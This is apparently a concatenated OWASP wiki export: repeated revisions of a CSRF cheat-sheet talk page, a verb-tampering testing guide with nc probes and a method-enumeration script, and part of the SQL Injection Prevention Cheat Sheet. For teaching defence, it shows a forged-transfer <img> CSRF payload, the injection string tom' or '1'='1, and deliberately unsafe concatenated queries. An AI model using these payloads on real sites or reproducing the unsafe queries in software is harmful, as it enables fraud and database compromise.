: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting "backend service" in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)

:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulnerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site). Luring a victim into pasting a link could be considered a less likely scenario. I guess that would rely on the target site interpreting a GET request or its embedded requests as actions. In that unlikely scenario I can see that checking the origin and "referer" referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address. (Changing the application's state on receiving GET requests would make it vulnerable to embedded foreign requests such as <img src="https://bank.test/my/transfer?to=GogAndMagog">). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)

== The link-presenter host with regard to the Referer/Origin check ==

I heard arguments for extending the whitelist to sites potentially hosting the link to the application that is protected with a Referer/Origin check. This can be a slippery slope as sending a link through email may end up being hosted by a huge number of webmail providers. Besides, the argument had a design flaw where the CSRF protection applied to both GET and POST requests.

Instead I suggest to mention an implementation detail that relies on a common practice of separating the UI interface from the API. That is,
* instead of sending a link clicking which is supposed to generate a GET request such as SITE/authorize?id=XXXXXXX (with some non-predictable GUID) authorizing the user immediately,
I suggest to avoid implementing CSRF protection for GET requests entirely and keep actions that change user profiles to POST handlers. Therefore,
* send a link pointing to the UI service such as UISITE/authorize.html?id=XXXXXX Clicking it can be handled safely assuming that none of your GET request handlers implement CSRF protection. Once the user finds themselves in the unauthenticated page generated by the UI service, clicking a button in it will send a POST request to an API service such as SITE/authorize?id=XXXXX. The POST handler can safely apply the suggested Referer/Origin check, insisting on all of the received headers of these two to contain white-listed hosts. [[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 16:29, 12 November 2018 (CST)

Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2018-11-12T22:28:43Z

Eelgheez: /* The link host argument against the Referer/Origin check */

==Is this statement really correct?==
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.
''

This seems incorrect. An attacker can modify cookies from a sibling domain. See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples. Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.

Jim July 27, 2014: What about "''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with."

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either. Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written. Cookies can also be written via MITM attacks on http. So the application in question can be completely "secure", but it's cookies can be tampered with anyhow. That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the "naive" double submit method is vulnerable. At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.

Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a "cheat" for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.

Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!

==Confusion About Encrypted Token Pattern==
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?

Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)

== CSRF Prevention via Alternative HTTP Methods ==

Browsers permit cross-domain form submission, but only via GET and POST methods. Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used. One can leverage this to prevent CSRF without the need for cryptographic tokens. If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes. Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already. Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.

-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)

== Identifying cross-origin requests ==
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&diff=221340&oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header). This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.

Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins. Perhaps, this is what was meant by the phrase "we recommend a second check as an additional precaution to really make sure"? (The style and the title of the article seems to put the burden of proof on the reader. The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)

== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)

: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting "backend service" in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)

:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulnerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site). Luring a victim into pasting a link could be considered a less likely scenario. I guess that would rely on the target site interpreting a GET request or its embedded requests as actions. In that unlikely scenario I can see that checking the origin and "referer" referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address. (Changing the application's state on receiving GET requests would make it vulnerable to embedded foreign requests such as <img src="https://bank.test/my/transfer?to=GogAndMagog">). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)

== The link-presenter host with regard to the Referer/Origin check ==

I heard arguments for extending the whitelist to sites potentially hosting the link to the application that is protected with a Referer/Origin check. This can be a slippery slope as sending a link through email may end up being hosted by a huge number of webmail providers. Besides, the argument had a design flaw where the CSRF protection applied to both GET and POST requests.

Instead I suggest to mention an implementation detail that relies on a common practice of separating the UI interface from the API. That is,
* instead of sending a link clicking which is supposed to generate a GET request such as SITE/authorize?id=XXXXXXX (with some non-predictable GUID) authorizing the user immediately,
I suggest to avoid implementing CSRF protection for GET requests entirely and keep actions that change user profiles to POST handlers. Therefore,
* send a link pointing to the UI service such as UISITE/authorize.html?id=XXXXXX Clicking it can be handled safely assuming that none of your GET request handlers implement CSRF protection. Once the user finds themselves in the unauthenticated page generated by the UI service, clicking a button in it will send a POST request to an API service such as SITE/authorize?id=XXXXX. The POST handler can safely apply the suggested Referer/Origin check, insisting on all of the received headers of these two to contain white-listed hosts. ~~----

Talk:Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet

2018-11-12T22:27:35Z

Eelgheez: /* The link host argument against the Referer/Origin check */ new section

==Is this statement really correct?==
''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker will be unable to modify or read the value stored in the cookie.
''

This seems incorrect. An attacker can modify cookies from a sibling domain. See https://media.blackhat.com/eu-13/briefings/Lundeen/bh-eu-13-deputies-still-confused-lundeen-wp.pdf for examples. Thus double-submit csrf cookie should also be checked for some tie to the logged in session so that it can't just be pushed in.

Jim July 27, 2014: What about "''This means that while an attacker can send any value he wants with a malicious CSRF request, the attacker would be unable to modify or read the value stored in the cookie other than via cross site scripting. (And cross site scripting resistance is a requirement for good CSRF defense to begin with."

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 09:47, 30 July 2014 (CDT) I don't think that this is 100% accurate either. Cookies can be written via CSS in a sibling domain, so that even if the application in not vulnerable to CSS, if the sibling domain application is vulnerable to CSS, or is simply not trustworthy, cookies can be written. Cookies can also be written via MITM attacks on http. So the application in question can be completely "secure", but it's cookies can be tampered with anyhow. That is why the paper referenced above suggests that the CSRF token must in some way be tied to the user's session or identity and the "naive" double submit method is vulnerable. At the very least, with naive double submit, the application should check to make sure that there is only one CSRF token cookie value as this will mitigate some attempts to write the cookie from another domain.

Jim July 30, 2014: Ok I got it. Can you make your change live in the document itself to clarify this? Or hey, the entire CSRF Defense cheat sheet needs to be fully re-written and made more concise and more of a "cheat" for developers. Are you interested in taking this over? Aloha! Ps: I'm jim@owasp.org if you want to take this to email.

--[[User:David Ohsie|David Ohsie]] ([[User talk:David Ohsie|talk]]) 11:45, 31 July 2014 (CDT)I'll take a crack at editing, although I don't know if I am capable of doing a rewrite. I didn't want to make any changes without some prior discussion.

Jim July 31 2014, Thank you - any help is appreciated. I'm happy to discuss any changes you wish to make. I think this entire page needs a re-do, but happy to do that one change at a time. Aloha!

==Confusion About Encrypted Token Pattern==
Based on discussion about the encrypted token pattern taking place on [https://security.stackexchange.com/questions/105375/csrf-encrypted-token-pattern-need-for-nonce/ security.stackexchange.com], I think that the discussion about the encrypted token pattern should include provide an explanation for the use of the nonce. Is the nonce supposed to be validated? If so, the validation section needs some additional text. Is the nonce there to provide some cryptographic protection? If so, what?

Neil Smithline, http://www.neilsmithline.com 14:45, 15 November 2015 (CST)

== CSRF Prevention via Alternative HTTP Methods ==

Browsers permit cross-domain form submission, but only via GET and POST methods. Modern browsers do not allow you to set the method to anything else, cross domain, unless CORS is used. One can leverage this to prevent CSRF without the need for cryptographic tokens. If you code your site so that material changes to stored data (record updates, other writes) happen only via other HTTP methods (such as PUT, DELETE, PATCH, etc), then no other domain can submit those changes. Of course this means your site will need to use AJAX to submit changes, but this is a very common development pattern already. Definitely interested in any technical discussion on this idea, but if no one sees a problem with it, I think we should add it to the page as an option.

-- [[User:TimMorgan|TimMorgan]] ([[User talk:TimMorgan|talk]]) 14:01, 19 December 2015 (CST)

== Identifying cross-origin requests ==
Thanks to the [https://www.owasp.org/index.php?title=Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet&diff=221340&oldid=221309 September 15, 2016 change], I see that CSRF can be reliably prevented by the action handlers checking the Origin header (or, in the absence of that, the Referer header). This is because the CSRF scenario abuses unsuspecting users' authorization, where the users generally run an up-to-date browser.

Еxtra checks such as those of anti-CSRF tokens could help mitigate the case of allowing a broad list of UI origins. Perhaps, this is what was meant by the phrase "we recommend a second check as an additional precaution to really make sure"? (The style and the title of the article seems to put the burden of proof on the reader. The existing prescriptive style encourages that, so I wonder if OWASP could use a descriptive style instead). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 10:02, 27 March 2017 (CDT)

== Origin/Referrer Check doesn't Work When the URL is Entered into the Browser ==
When a page is reached by entering or pasting a URL into the browser, there is no $_SERVER['HTTP_ORIGIN'] or $_SERVER['HTTP_REFERER'] value. In this case the recommendation to block the action wouldn't seem to make sense. --[[User:Lindon_Barnfield|lindon]] ([[User talk:Lindon_Barnfield|talk]]) 19:02, 29 May 2017 (EDT)

: Thanks you Lindon for the remarks and note about these headers. In CSRF context, we want to protect from request altering data, is the reason why the CSRF filter is applied on request targeting "backend service" in order to be sure to be invoked for services and not for UI URL (ex: when loading a form or the site home page), perhaps i should mention it on sample. If the URL of the service is invoked directly (i.e. entering or pasting a URL into the browser as you mention) is not a normal behavior and the protection should block the request because service is invoked normally by ajax (more common way in recent apps) or submitting a html form. Thanks again for the talk, it helps to fine tune the sample. --[[User:Dominique_RIGHETTO|dominique]] ([[User talk:Dominique_RIGHETTO|talk]]) 06:20, 30 May 2017 (CEST)

:: Indeed, the abuse scenario CSRF normally focuses on involves luring a victim user into a malicious site/vulnerable blog/forum and letting the user's browser execute requests against a CSRF-vulnerable target site on behalf of the user without the user's participation (or with the user clicking a form submit button aiming at the vulnerable target site). Luring a victim into pasting a link could be considered a less likely scenario. I guess that would rely on the target site interpreting a GET request or its embedded requests as actions. In that unlikely scenario I can see that checking the origin and "referer" referrer will block the unexpected abuse, encouraging developers to rely on REST conventions in mirroring the page state in its address. (Changing the application's state on receiving GET requests would make it vulnerable to embedded foreign requests such as <img src="https://bank.test/my/transfer?to=GogAndMagog">). --[[User:Eelgheez|Eelgheez]] ([[User talk:Eelgheez|talk]]) 09:11, 30 May 2017 (CDT)

== The link host argument against the Referer/Origin check ==

I heard arguments for extending the whitelist to sites potentially hosting the link to the application that is protected with a Referer/Origin check. This can be a slippery slope as sending a link through email may end up being hosted by a huge number of webmail providers. Besides, the argument had a design flaw where the CSRF protection applied to both GET and POST requests.

Instead I suggest to mention an implementation detail that relies on a common practice of separating the UI interface from the API. That is,
* instead of sending a link clicking which is supposed to generate a GET request such as SITE/authorize?id=XXXXXXX (with some non-predictable GUID) authorizing the user immediately,
I suggest to avoid implementing CSRF protection for GET requests entirely and keep actions that change user profiles to POST handlers. Therefore,
* send a link pointing to the UI service such as UISITE/authorize.html?id=XXXXXX Clicking it can be handled safely assuming that none of your GET request handlers implement CSRF protection. Once the user finds themselves in the unauthenticated page generated by the UI service, clicking a button in it will send a POST request to an API service such as SITE/authorize?id=XXXXX. The POST handler can safely apply the suggested Referer/Origin check, insisting on all of the received headers of these two to contain white-listed hosts. ~~----

Testing for HTTP Verb Tampering (OTG-INPVAL-003)

2018-05-27T00:42:57Z

Eelgheez: recover the link's PDF sub-link

{{Template:OWASP Testing Guide v4}}

== Summary ==
The HTTP specification includes request methods other than the standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers. Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'
 

The full HTTP 1.1 specification [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html] defines the following valid HTTP request methods, or verbs:
<pre>
OPTIONS
GET
HEAD
POST
PUT
DELETE
TRACE
CONNECT
</pre>

If enabled, the Web Distributed Authoring and Version (WebDAV) extensions [http://www.webdav.org/specs/rfc2518.html] [http://tools.ietf.org/html/rfc4918] permit several more HTTP methods:
<pre>
PROPFIND
PROPPATCH
MKCOL
COPY
MOVE
LOCK
UNLOCK
</pre>

However, most web applications only need to respond to GET and POST requests, providing user data in the URL query string or appended to the request respectively. The standard <code><a href=""></a></code> style links trigger a GET request; form data submitted via <code><form method='POST'></form></code> trigger POST requests. Forms defined without a method also send data via GET by default.

Oddly, the other valid HTTP methods are not supported by the HTML standard [http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1]. Any HTTP method other than GET or POST needs to be called outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.

As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solutions is to disable all non GET or POST functionality within the web application server, or in a web application firewall.

If methods such as HEAD or OPTIONS are required for your application, this increases the burden of testing substantially. Each action within the system will need to be verified that these alternate methods do not trigger actions without proper authentication or reveal information about the contents or workings web application. If possible, limit alternate HTTP method usage to a single page that contains no user actions, such the default landing page (example: index.html).

 
==How to Test==

As the HTML standard does not support request methods other than GET or POST, we will need to craft custom HTTP requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do manually as well. 

===Manual HTTP verb tampering testing===

This example is written using the netcat package from openbsd (standard with most Linux distributions). You may also use telnet (included with Windows) in a similar fashion.

1. Crafting custom HTTP requests
<blockquote>
Each HTTP 1.1 request follows the following basic formatting and syntax. Elements surrounded by brackets <code>[ ]</code> are contextual to your application. The empty newline at the end is required.

<pre>
[METHOD] /[index.htm] HTTP/1.1
host: [www.example.com]

</pre>

In order to craft separate requests, you can manually type each request into netcat or telnet and examine the response. However, to speed up testing, you may also store each request in a separate file. This second approach is what we'll demonstrate in these examples. Use your favorite editor to create a text file for each method. Modify for your application's landing page and domain.
</blockquote>

1.1 OPTIONS
<blockquote>
<pre>
OPTIONS /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.2 GET
<blockquote>
<pre>
GET /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.3 HEAD
<blockquote>
<pre>
HEAD /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.4 POST
<blockquote>
<pre>
POST /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.5 PUT
<blockquote>
<pre>
PUT /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.6 DELETE
<blockquote>
<pre>
DELETE /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.7 TRACE
<blockquote>
<pre>
TRACE /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>
1.8 CONNECT
<blockquote>
<pre>
CONNECT /index.html HTTP/1.1
host: www.example.com

</pre>
</blockquote>

2. Sending HTTP requests
<blockquote>
For each method and/or method text file, send the request to your web server via netcat or telnet on port 80 (HTTP):
<pre>nc www.example.com 80 < OPTIONS.http.txt</pre>
</blockquote>

3. Parsing HTTP responses
<blockquote>
Although each HTTP method can potentially return different results, there is only a single valid result for all methods other than GET and POST. The web server should either ignore the request completely or return an error. Any other response indicates a test failure as the server is responding to methods/verbs that are unnecessary. These methods should be disabled.

 
An example of a failed test (ie, the server supports OPTIONS despite no need for it):
 
[[File:OPTIONS_verb_tampering.png]]
</blockquote>

===Automated HTTP verb tampering testing===
If you are able to analyze your application via simple HTTP status codes (200 OK, 501 Error, etc) - then the following bash script will test all available HTTP methods.
<pre>
#!/bin/bash

for webservmethod in GET POST PUT TRACE CONNECT OPTIONS PROPFIND;

do
printf "$webservmethod " ;
printf "$webservmethod / HTTP/1.1\nHost: $1\n\n" | nc -q 1 $1 80 | grep "HTTP/1.1"

done
</pre>

Code copied verbatim from the Penetration Testing Lab blog [http://pentestlab.wordpress.com/2012/12/20/http-methods-identification/]

== References ==
'''Whitepapers'''
* Arshan Dabirsiaghi: “Bypassing URL Authentication and Authorization with HTTP Verb Tampering” - [http://web.archive.org/web/20170517030540/http://cdn2.hubspot.net/hub/315719/file-1344244110-pdf/download-files/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf http://www.aspectsecurity.com/research-presentations/bypassing-vbaac-with-http-verb-tampering]

SQL Injection Prevention Cheat Sheet

2018-02-07T04:06:10Z

Eelgheez: /* Defense Option 4: Escaping All User-Supplied Input */ reflect absence of concrete codecs in the "active" ESAPI

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''
= Introduction =
__TOC__{{TOC hidden}}

This article is focused on providing clear, simple, actionable guidance for preventing SQL Injection flaws in your applications. [[SQL Injection]] attacks are unfortunately very common, and this is due to two factors:

# the significant prevalence of SQL Injection vulnerabilities, and
# the attractiveness of the target (i.e., the database typically contains all the interesting/critical data for your application).

It’s somewhat shameful that there are so many successful SQL Injection attacks occurring, because it is EXTREMELY simple to avoid SQL Injection vulnerabilities in your code.

SQL Injection flaws are introduced when software developers create dynamic database queries that include user supplied input. To avoid SQL injection flaws is simple. Developers need to either:
a) stop writing dynamic queries; and/or
b) prevent user supplied input which contains malicious SQL from affecting the logic of the executed query.

This article provides a set of simple techniques for preventing SQL Injection vulnerabilities by avoiding these two problems. These techniques can be used with practically any kind of programming language with any type of database. There are other types of databases, like XML databases, which can have similar problems (e.g., XPath and XQuery injection) and these techniques can be used to protect them as well.

Primary Defenses:
* '''Option 1: Use of Prepared Statements (with Parameterized Queries)'''
* '''Option 2: Use of Stored Procedures'''
* '''Option 3: White List Input Validation'''
* '''Option 4: Escaping All User Supplied Input'''

Additional Defenses:
* '''Also: Enforcing Least Privilege'''
* '''Also: Performing White List Input Validation as a Secondary Defense'''
 
;Unsafe Example

SQL injection flaws typically look like this:

The following (Java) example is UNSAFE, and would allow an attacker to inject code into the query that would be executed by the database. The unvalidated “customerName” parameter that is simply appended to the query allows an attacker to inject any SQL code they want. Unfortunately, this method for accessing databases is all too common.

String query = "SELECT account_balance FROM user_data WHERE user_name = "
+ request.getParameter("customerName");

try {
Statement statement = connection.createStatement( … );
ResultSet results = statement.executeQuery( query );
}

=Primary Defenses=

==Defense Option 1: Prepared Statements (with Parameterized Queries)==

The use of prepared statements with variable binding (aka parameterized queries) is how all developers should first be taught how to write database queries. They are simple to write, and easier to understand than dynamic queries. Parameterized queries force the developer to first define all the SQL code, and then pass in each parameter to the query later. This coding style allows the database to distinguish between code and data, regardless of what user input is supplied.

Prepared statements ensure that an attacker is not able to change the intent of a query, even if SQL commands are inserted by an attacker. In the safe example below, if an attacker were to enter the userID of tom' or '1'='1, the parameterized query would not be vulnerable and would instead look for a username which literally matched the entire string tom' or '1'='1.

Language specific recommendations:
* Java EE – use PreparedStatement() with bind variables
* .NET – use parameterized queries like SqlCommand() or OleDbCommand() with bind variables
* PHP – use PDO with strongly typed parameterized queries (using bindParam())
* Hibernate - use createQuery() with bind variables (called named parameters in Hibernate)
* SQLite - use sqlite3_prepare() to create a [http://www.sqlite.org/c3ref/stmt.html statement object]

In rare circumstances, prepared statements can harm performance. When confronted with this situation, it is best to either a) strongly validate all data or b) escape all user supplied input using an escaping routine specific to your database vendor as described below, rather than using a prepared statement.

;Safe Java Prepared Statement Example

The following code example uses a PreparedStatement, Java's implementation of a parameterized query, to execute the same database query.

String custname = request.getParameter("customerName"); // This should REALLY be validated too
// perform input validation to detect attacks
String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";

'''PreparedStatement pstmt = connection.prepareStatement( query );'''
'''pstmt.setString( 1, custname); '''
ResultSet results = pstmt.executeQuery( );

;Safe C# .NET Prepared Statement Example

With .NET, it's even more straightforward. The creation and execution of the query doesn't change. All you have to do is simply pass the parameters to the query using the Parameters.Add() call as shown here.

String query =
"SELECT account_balance FROM user_data WHERE user_name = ?";
try {
OleDbCommand command = new OleDbCommand(query, connection);
'''command.Parameters.Add(new OleDbParameter("customerName", CustomerName Name.Text));'''
OleDbDataReader reader = command.ExecuteReader();
// …
} catch (OleDbException se) {
// error handling
}

We have shown examples in Java and .NET but practically all other languages, including Cold Fusion, and Classic ASP, support parameterized query interfaces. Even SQL abstraction layers, like the [http://www.hibernate.org/ Hibernate Query Language] (HQL) have the same type of injection problems (which we call [http://cwe.mitre.org/data/definitions/564.html HQL Injection]). HQL supports parameterized queries as well, so we can avoid this problem:

;Hibernate Query Language (HQL) Prepared Statement (Named Parameters) Examples

First is an unsafe HQL Statement

Query unsafeHQLQuery = session.createQuery("from Inventory where productID='"+userSuppliedParameter+"'");

Here is a safe version of the same query using named parameters

Query safeHQLQuery = session.createQuery("from Inventory where productID=:productid");
safeHQLQuery.setParameter("productid", userSuppliedParameter);

For examples of parameterized queries in other languages, including Ruby, PHP, Cold Fusion, and Perl, see the [[Query Parameterization Cheat Sheet]] or http://bobby-tables.com/.

Developers tend to like the Prepared Statement approach because all the SQL code stays within the application. This makes your application relatively database independent.

== Defense Option 2: Stored Procedures ==

Stored procedures are not always safe from SQL injection. However, certain standard stored procedure programming constructs have the same effect as the use of parameterized queries when implemented safely* which is the norm for most stored procedure languages. They require the developer to just build SQL statements with parameters which are automatically parameterized unless the developer does something largely out of the norm. The difference between prepared statements and stored procedures is that the SQL code for a stored procedure is defined and stored in the database itself, and then called from the application. Both of these techniques have the same effectiveness in preventing SQL injection so your organization should choose which approach makes the most sense for you.

*Note: 'Implemented safely' means the stored procedure does not include any unsafe dynamic SQL generation. Developers do not usually generate dynamic SQL inside stored procedures. However, it can be done, but should be avoided. If it can't be avoided, the stored procedure must use input validation or proper escaping as described in this article to make sure that all user supplied input to the stored procedure can't be used to inject SQL code into the dynamically generated query. Auditors should always look for uses of sp_execute, execute or exec within SQL Server stored procedures. Similar audit guidelines are necessary for similar functions for other vendors.

There are also several cases where stored procedures can increase risk. For example, on MS SQL server, you have 3 main default roles: db_datareader, db_datawriter and db_owner. Before stored procedures came into use, DBA's would give db_datareader or db_datawriter rights to the webservice's user, depending on the requirements. However, stored procedures require execute rights, a role that is not available by default. Some setups where the user management has been centralized, but is limited to those 3 roles, cause all web apps to run under db_owner rights so stored procedures can work. Naturally, that means that if a server is breached the attacker has full rights to the database, where previously they might only have had read-access. More on this topic here. http://www.sqldbatips.com/showarticle.asp?ID=8

;Safe Java Stored Procedure Example

The following code example uses a CallableStatement, Java's implementation of the stored procedure interface, to execute the same database query. The "sp_getAccountBalance" stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.

String custname = request.getParameter("customerName"); // This should REALLY be validated
try {
'''CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}");'''
'''cs.setString(1, custname);'''
ResultSet results = cs.executeQuery();
// … result set handling
} catch (SQLException se) {
// … logging and error handling
}

;Safe VB .NET Stored Procedure Example

The following code example uses a SqlCommand, .NET’s implementation of the stored procedure interface, to execute the same database query. The "sp_getAccountBalance" stored procedure would have to be predefined in the database and implement the same functionality as the query defined above.

Try
Dim command As SqlCommand = new SqlCommand("sp_getAccountBalance", connection)
'''command.CommandType = CommandType.StoredProcedure'''
'''command.Parameters.Add(new SqlParameter("@CustomerName", CustomerName.Text))'''
Dim reader As SqlDataReader = command.ExecuteReader()
‘ …
Catch se As SqlException
‘ error handling
End Try

== Defense Option 3: White List Input Validation ==

Various parts of SQL queries aren't legal locations for the use of bind variables, such as the names of tables or columns, and the sort order indicator (ASC or DESC). In such situations, input validation or query redesign is the most appropriate defense. For the names of tables or columns, ideally those values come from the code, and not from user parameters. But if user parameter values are used to make different for table names and column names, then the parameter values should be mapped to the legal/expected table or column names to make sure unvalidated user input doesn't end up in the query. Please note, this is a symptom of poor design and a full re-write should be considered if time allows. Here is an example of table name validation.

String tableName;
switch(PARAM):
case "Value1": tableName = "fooTable";
break;
case "Value2": tableName = "barTable";
break;
...
default : throw new InputValidationException("unexpected value provided for table name");

The tableName can then be directly appended to the SQL query since it is now known to be one of the legal and expected values for a table name in this query. Keep in mind that generic table validation functions can lead to data loss as table names are used in queries where they are not expected.

For something simple like a sort order, it would be best if the user supplied input is converted to a boolean, and then that boolean is used to select the safe value to append to the query. This is a very standard need in dynamic query creation. For example:

public String someMethod(boolean sortOrder) {

String SQLquery = "some SQL ... order by Salary " + (sortOrder ? "ASC" : "DESC");
...

Any time user input can be converted to a non-String, like a date, numeric, boolean, enumerated type, etc. before it is appended to a query, or used to select a value to append to the query, this ensures it is safe to do so.

Input validation is also recommended as a secondary defense in ALL cases, even when using bind variables as is discussed later in this article. More techniques on how to implement strong white list input validation is described in the [[Input Validation Cheat Sheet]].

==Defense Option 4: Escaping All User-Supplied Input==

This technique should only be used as a last resort, when none of the above are feasible. Input validation is probably a better choice as this methodology is frail compared to other defenses and we cannot guarantee it will prevent all SQL Injection in all situations.

This technique is to escape user input before putting it in a query. It is very database specific in its implementation. It's usually only recommended to retrofit legacy code when implementing input validation isn't cost effective. Applications built from scratch, or applications requiring low risk tolerance should be built or re-written using parameterized queries, stored procedures, or some kind of Object Relational Mapper (ORM) that builds your queries for you.

This technique works like this. Each DBMS supports one or more character escaping schemes specific to certain kinds of queries. If you then escape all user supplied input using the proper escaping scheme for the database you are using, the DBMS will not confuse that input with SQL code written by the developer, thus avoiding any possible SQL injection vulnerabilities.

The OWASP Enterprise Security API (ESAPI) is a free, open source, web application security control library that makes it easier for programmers to write lower-risk applications. The ESAPI libraries are designed to make it easier for programmers to retrofit security into existing applications. The ESAPI libraries also serve as a solid foundation for new development.

* Full details on [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API ESAPI are available here on OWASP].
* The javadoc for [http://www.javadoc.io/doc/org.owasp.esapi/esapi/2.1.0 ESAPI 2.x (Legacy) is available]. This code was migrated to GitHub in November 2014.
* [https://github.com/ESAPI/esapi-java-legacy The legacy ESAPI for Java at GitHub] helps understand existing use of it when Javadoc seems insufficient.
* [https://github.com/ESAPI/esapi-java An attempt at another ESAPI for Java GitHub] has other approaches and no tests or concrete codecs.

